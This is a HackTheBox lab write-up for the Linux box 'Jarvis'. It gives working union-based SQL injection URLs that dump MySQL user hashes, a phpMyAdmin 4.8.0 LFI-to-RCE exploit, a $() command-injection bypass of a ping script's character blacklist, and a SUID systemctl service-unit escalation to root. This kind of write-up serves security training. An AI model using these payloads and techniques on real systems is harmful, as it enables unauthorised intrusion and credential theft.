Jarvis Writeup - HackTheBox
Created July 31, 2026 • Last updated July 31, 2026 • 3 min read
Jarvis is a Linux box that chains an unauthenticated SQL injection into a MySQL hash dump, hash cracking into phpMyAdmin access, and a known phpMyAdmin LFI-to-RCE for the initial foothold. From there, an incomplete command-injection filter in a sudo-accessible script lands a shell as a second user, and a misconfigured SUID systemctl closes out to root.
Reconnaissance
Port scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-title: Stark Hotel 64999/tcp open http Apache httpd 2.4.25 ((Debian))
Three ports. Port 80 runs the Stark Hotel app. Port 64999 served nothing useful and immediately issued a temporary IP ban on the first request, so it was left alone.
Directory brute force
nav.php [Status: 200, Size: 1333] footer.php [Status: 200, Size: 2237] phpmyadmin [Status: 301, Size: 321] connection.php [Status: 200, Size: 0]
A live /phpmyadmin install is notable. The hotel app's room.php uses a cod GET parameter to look up rooms. That parameter goes next.
SQL Injection
Finding the injection point
Testing room.php?cod=1-- - behaved differently from a normal integer, confirming the value is dropped into the query unquoted. The parameter is a classic numeric SQLi.
Column count via UNION
Incrementing the column count until the query stops erroring:
http://$TARGET_IP/room.php?cod=1 union select 1,2,3,4,5,6,7
Seven columns. Using a non-existent cod value forces the UNION row to render on the page instead of a real record:
http://$TARGET_IP/room.php?cod=999 union select 1,2,3,4,5,6,7
Database enumeration
Current database:
http://$TARGET_IP/room.php?cod=999 union select 1,database(),3,4,5,6,7
-> hotel
Tables in hotel:
http://$TARGET_IP/room.php?cod=999 union select 1,table_name,3,4,5,6,7
from information_schema.tables where table_schema=database()
-> room
The room table only held hotel data. Moving to the mysql schema to look for credentials:
http://$TARGET_IP/room.php?cod=999 union select 1,GROUP_CONCAT(schema_name),3,4,5,6,7
from information_schema.schemata
-> hotel,information_schema,mysql,performance_schema
Dumping mysql.user
http://$TARGET_IP/room.php?cod=999 union select 1,GROUP_CONCAT(User,':',Password),3,4,5,6,7
from mysql.user
-> DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
MySQL-format hash for DBadmin. Feed it to hashcat.
Credential Recovery
Cracking the MySQL hash
2d2b7a5e4e637b8fba1d17f40318f277d29964d0:$DBADMIN_PASSWORD Status: Cracked
phpMyAdmin login and version check
Logged into /phpmyadmin as DBadmin with $DBADMIN_PASSWORD. The built-in docs page disclosed the version:
http://$TARGET_IP/phpmyadmin/doc/html/index.html
-> phpMyAdmin 4.8.0
phpMyAdmin 4.8.0 is vulnerable to CVE-2018-12613, an LFI that chains into RCE through session-file poisoning via query logging.
Initial Access
CVE-2018-12613 RCE
A working Python 2 PoC is available at https://www.exploit-db.com/exploits/50457. Confirm execution first:
www-data
Trigger a reverse shell:
Catch it:
Shell as www-data. Next is lateral movement to a real user.
Lateral Movement
sudo rights for www-data
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data can run simpler.py as pepper with no password.
Reviewing simpler.py
The script's -p flag invokes exec_ping(), which takes raw user input and passes it to os.system('ping ' + command). It blacklists &, ;, -, `, ||, and | but does not block $() command substitution:
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
Command injection via $()
Enter an IP: $(whoami) ping: pepper: Temporary failure in name resolution
ping: pepper in the error confirms the substitution ran as pepper.
Reverse shell as pepper
Write a shell script to /tmp to avoid characters blocked by the filter:
Enter an IP: $(/tmp/shell.sh)
connect from $TARGET_IP $ whoami pepper
Shell as pepper. Stabilize with python3 -c 'import pty;pty.spawn("/bin/bash")'.
Privilege Escalation
SUID enumeration
-rwsr-x--- 1 root pepper 174520 Jun 29 2022 /bin/systemctl <snip standard distro binaries: fusermount, mount, ping, umount, su, newgrp, passwd, gpasswd, chsh, sudo, chfn, ssh-keysign, dbus-daemon-launch-helper>
/bin/systemctl is SUID root and scoped to the pepper group. Non-standard and immediately useful per GTFOBins.
Malicious systemd service
Create a unit file that sets the SUID bit on /bin/bash:
Link and start it using the SUID systemctl:
Created symlink /etc/systemd/system/root.service -> /home/pepper/root.service.
Root shell
bash-4.4# whoami root
Root reached.
Related
References
-
Python 2 PoC for CVE-2018-12613 phpMyAdmin 4.8.0 LFI to RCE.
-
GTFOBins systemctlTOOL: GTFOBins systemctl, gtfobins.github.io/gtfobins/systemctl (opens in new tab)
systemctl abuse via malicious service unit to run commands as root.
-
NVD CVE-2018-12613CVE: NVD CVE-2018-12613, nvd.nist.gov/vuln/detail/CVE-2018-12613 (opens in new tab)
phpMyAdmin 4.8.0 local file inclusion via the target parameter leading to remote code execution.